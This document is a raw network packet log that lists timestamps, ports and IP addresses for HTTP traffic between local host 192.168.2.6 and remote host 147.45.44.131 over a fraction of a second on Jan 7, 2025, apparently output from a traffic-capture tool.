Jan 7, 2025 06:12:05.313452959 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313497066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313513994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313523054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313534021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313544035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313546896 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313555002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.313566923 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.313586950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.316867113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.316889048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.316900969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.316910982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.316946983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.316966057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.316976070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.316997051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317007065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317019939 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317029953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317039967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317044973 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317051888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317085028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317095041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317111015 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317116976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317117929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317135096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317157030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317161083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317172050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317182064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317205906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317233086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317255974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317266941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317285061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317300081 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317301035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317312002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317321062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317337990 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317339897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317351103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317353010 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317373037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317384005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317394972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317425013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317454100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317460060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317464113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317500114 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317503929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317514896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317543030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317570925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317581892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317593098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317604065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317619085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317619085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317655087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317666054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317675114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317701101 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317708015 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317709923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317722082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317761898 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317780018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317790985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317800045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317810059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317820072 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317821026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317843914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317857981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317867994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317884922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317894936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.317907095 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.317935944 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318049908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318061113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318070889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318082094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318092108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318097115 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318109035 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318135977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318190098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318201065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318227053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318238020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318243027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318247080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318265915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318268061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318285942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318296909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318306923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318316936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318316936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318329096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318337917 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318341017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318352938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318361998 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318383932 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318424940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318435907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318444967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318454981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318456888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318466902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318489075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318520069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318522930 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318531036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318542004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318564892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318574905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318581104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318591118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318598986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318603039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318660021 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318664074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318700075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318711042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318721056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.318777084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.318777084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405474901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405510902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405530930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405541897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405553102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405564070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405580044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405584097 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405592918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405621052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405628920 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405632019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405646086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405659914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405673027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405675888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405684948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405694962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405710936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405719995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405730963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405747890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405750036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405762911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405770063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405793905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405793905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405810118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405824900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405834913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405844927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405854940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405855894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405867100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405868053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405879021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405889034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405893087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405905962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405916929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.405919075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.405960083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409265041 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409277916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409296989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409308910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409324884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409336090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409358978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409369946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409379005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409399986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409404039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409415007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409423113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409426928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409439087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409451008 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409472942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409477949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409502029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409513950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409524918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409559965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409568071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409579992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409593105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409615993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409620047 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409629107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409646988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409656048 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409660101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409683943 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409701109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409713030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409723043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409746885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409769058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409771919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409784079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409795046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409818888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409842968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409854889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409864902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409881115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409887075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409893036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409915924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409918070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409928083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409934044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409959078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409966946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.409970999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.409984112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410008907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410134077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410156012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410166979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410178900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410182953 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410198927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410217047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410228968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410229921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410239935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410245895 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410253048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410267115 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410281897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410291910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410291910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410305023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410315990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410326958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410337925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410363913 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410415888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410428047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410438061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410449028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410459042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410461903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410470009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410470963 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410495996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410727024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410746098 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410757065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410768986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410789013 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410792112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410804987 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410815001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410815954 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410826921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410835981 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410840034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410857916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410861969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410870075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410881042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410883904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410900116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410909891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410913944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410926104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410936117 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410937071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410948992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410959959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410962105 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.410972118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.410990953 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.411014080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.411065102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411076069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411089897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411103010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411113024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411122084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.411125898 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.411148071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.411160946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.497761011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497792006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497807980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497817993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497828007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497838020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497848034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497849941 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.497859001 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497869968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497880936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497889996 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.497890949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497912884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.497925997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497951031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497961044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497971058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497980118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.497982979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.497994900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498006105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498007059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498017073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498027086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498039961 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498087883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498097897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498106956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498116970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498126030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498127937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498142004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498152971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498163939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498173952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498179913 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498184919 CET	80	49712	147.45.44.131	192.168.2.6
